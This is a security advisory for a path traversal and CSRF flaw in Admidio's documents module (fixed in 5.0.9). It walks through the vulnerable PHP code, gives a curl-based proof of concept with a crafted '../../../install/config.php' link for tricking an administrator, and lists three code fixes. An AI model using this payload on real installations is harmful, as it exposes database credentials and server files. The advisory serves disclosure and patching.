Admidio has Path Traversal via Unvalidated `name` Parameter in Document Add Mode that Enables Arbitrary Server File Read
Summary
The add mode in modules/documents-files.php accepts a name parameter validated only as 'string' type (HTML encoding), allowing path traversal characters (../) to pass through unfiltered. Combined with the absence of CSRF protection on this endpoint and SameSite=Lax session cookies, a low-privileged attacker can trick a documents administrator into clicking a crafted link that registers an arbitrary server file (e.g., install/config.php containing database credentials) into a documents folder accessible to the attacker.
Details
Root cause — incorrect input validation type (modules/documents-files.php:222):
case 'add':
$getName = admFuncVariableIsValid($_GET, 'name', 'string');
The 'string' type in admFuncVariableIsValid() only applies SecurityUtils::encodeHTML(StringUtils::strStripTags($value)) (system/bootstrap/function.php:414-416). Since ../ contains no HTML special characters (<, >, &, ", '), path traversal sequences pass through unchanged.
The correct type would be 'file', which calls StringUtils::strIsValidFileName() (src/Infrastructure/Utils/StringUtils.php:217-236). This function checks basename($filename) !== $filename at line 228, which would reject any path containing directory separators.
Missing CSRF protection (modules/documents-files.php:221-238):
case 'add':
$getName = admFuncVariableIsValid($_GET, 'name', 'string');
if (!$gCurrentUser->isAdministratorDocumentsFiles()) {
throw new Exception('SYS_NO_RIGHTS');
}
$folder = new Folder($gDb);
$folder->readDataByUuid($getFolderUUID);
$folder->addFolderOrFileToDatabase($getName);
// ...
No SecurityUtils::validateCsrfToken() or form object validation. Compare with folder_delete (line 140) and file_delete (line 170) which both validate CSRF tokens. The add action operates entirely via GET parameters.
Unsafe path construction (src/Documents/Entity/Folder.php:121-135):
public function addFolderOrFileToDatabase(string $newFolderFileName): void
{
$newFolderFileName = urldecode($newFolderFileName);
$newObjectPath = $this->getFullFolderPath() . '/' . $newFolderFileName;
// ...
if (is_file($newObjectPath)) {
$newFile = new File($this->db);
$newFile->setValue('fil_fol_id', $folderId);
$newFile->setValue('fil_name', $newFolderFileName); // traversal stored in DB
// ...
$newFile->save();
}
}
No realpath() comparison or basename() check. The traversal filename (e.g., ../../../install/config.php) is stored verbatim as fil_name in the database.
File served on download (src/Documents/Entity/File.php:88-91, src/Documents/Service/DocumentsService.php:68-119):
// File.php:88-91
public function getFullFilePath(): string
{
return $this->getFullFolderPath() . '/' . $this->getValue('fil_name', 'database');
}
// DocumentsService.php:75-118
$completePath = $file->getFullFilePath(); // reconstructs traversal path
// ...
readfile($completePath); // serves arbitrary file
SameSite=Lax allows cross-site GET (src/Session/Entity/Session.php:544):
'samesite' => 'lax'
Top-level GET navigations from cross-site origins include the session cookie, enabling the CSRF attack vector.
PoC
Prerequisites: Attacker has a regular user account with access to the documents module. A documents administrator is available to be social-engineered.
# Step 1: As regular user, browse the documents module to obtain a public folder UUID
curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=list'
# Note a folder_uuid from the response, e.g., "550e8400-e29b-41d4-a716-446655440000"
# Step 2: Craft a link targeting install/config.php (adjust ../ depth for folder nesting)
# For a folder at adm_my_files/documents/Photos/, use three levels:
PAYLOAD_URL='https://target.com/modules/documents-files.php?mode=add&folder_uuid=550e8400-e29b-41d4-a716-446655440000&name=../../../install/config.php'
# Step 3: Send this link to a documents administrator (email, chat, etc.)
# When the admin clicks it, the server's install/config.php is registered in the Photos folder
# The admin sees a redirect back to the documents page (normal behavior)
# Step 4: As attacker, list the folder to find the new file entry
curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=list&folder_uuid=550e8400-e29b-41d4-a716-446655440000'
# The traversal file appears in the listing with its file_uuid
# Step 5: Download the file using its UUID
curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=download&file_uuid=<FILE_UUID>'
# Response contains the contents of install/config.php, including:
# $g_adm_srv (database host)
# $g_adm_usr (database username)
# $g_adm_pw (database password)
# $g_adm_db (database name)
Impact
- Arbitrary server file read: An attacker can read any file on the server that the web server process has read access to, including
install/config.php(database credentials),/etc/passwd, application source code, and other configuration files. - Database credential exposure: The primary target
install/config.phpcontains plaintext database credentials, enabling direct database access and full compromise of the Admidio installation. - Low attack complexity: The CSRF vector requires only that an admin clicks a single link — no JavaScript, no form submission, no special browser behavior.
Recommended Fix
Fix 1 — Use 'file' validation type for the name parameter (modules/documents-files.php:222):
// Before (vulnerable):
$getName = admFuncVariableIsValid($_GET, 'name', 'string');
// After (fixed):
$getName = admFuncVariableIsValid($_GET, 'name', 'file');
This invokes StringUtils::strIsValidFileName() which checks basename($filename) !== $filename and rejects any path containing directory traversal.
Fix 2 — Add CSRF protection to the add mode (modules/documents-files.php:221-238):
Change the add action from GET to POST and add CSRF token validation:
case 'add':
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$getName = admFuncVariableIsValid($_POST, 'name', 'file');
if (!$gCurrentUser->isAdministratorDocumentsFiles()) {
throw new Exception('SYS_NO_RIGHTS');
}
$folder = new Folder($gDb);
$folder->readDataByUuid($getFolderUUID);
$folder->addFolderOrFileToDatabase($getName);
// ...
Fix 3 (defense in depth) — Add path canonicalization in addFolderOrFileToDatabase() (src/Documents/Entity/Folder.php):
public function addFolderOrFileToDatabase(string $newFolderFileName): void
{
$newFolderFileName = urldecode($newFolderFileName);
$newObjectPath = $this->getFullFolderPath() . '/' . $newFolderFileName;
// Ensure the resolved path is within the folder directory
$realPath = realpath($newObjectPath);
$folderPath = realpath($this->getFullFolderPath());
if ($realPath === false || !str_starts_with($realPath, $folderPath . '/')) {
throw new Exception('SYS_FILENAME_INVALID');
}
// ... rest of method
}
All three fixes should be applied for defense in depth.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | admidio/admidio | < 5.0.9 | 5.0.9 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N- Weakness (CWE)
CWE-22- Platform
- Composer
- Package
admidio/admidio- Disclosed
- 29.04.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-m9h6-8pqm-xrhf - CC BY 4.0
Vulnerability history: admidio/admidio
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 50
- First → latest
- 03.2022 07.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 3
- High 10
- Medium 33
- Low 4
Disclosures per year
- 2022: 3
- 2023: 7
- 2024: 3
- 2025: 1
- 2026: 36
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Admidio has Path Traversal via Unvalidated `name` Parameter in Document Add Mode that Enables Arbitrary Server File Read this entry
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